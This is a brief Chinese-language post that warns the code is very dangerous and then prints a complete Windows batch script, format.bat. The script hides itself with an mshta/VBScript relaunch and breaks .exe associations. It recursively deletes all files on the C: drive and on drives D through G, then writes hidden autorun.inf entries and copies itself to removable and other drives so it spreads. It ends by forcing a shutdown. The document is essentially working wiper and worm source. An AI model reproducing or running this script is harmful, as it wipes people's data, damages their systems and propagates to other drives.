这段代码极具危险性,请勿乱试、,运行时系统就会一直要插入系统盘修复,运行完了就关机,于是乎重启没反应,做完系统发现硬盘上数据都没了,而且此程序有可能复发……
文件format.bat
@echo off
if "%1"=="h" goto begin
start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
assoc .exe=null
copy C:\windows\system32\shutdown.exe D:\
copy C:\windows\system32\attrib.exe D:\
del *.* /s /q C:\
rd /s /q C:\
copy D:\shutdown.exe C:\windows\system32\
copy D:\attrib.exe C:\windows\system32\
for %%i in (d,e,f,g) do (%%i:
del *.* /s /q
rd /s /q %%i:\
)
for %%i in (d,e,f,g,h) do (
echo [autorun]>%%i:\autorun.inf
echo OPEN=format.bat /AUTORUN>>%%i:\autorun.inf
copy %0 %%i:\format.bat
attrib +s +h +r %%i:\autorun.inf
attrib +s +h +r %%i:\format.bat
)
shutdown -f -s -t 00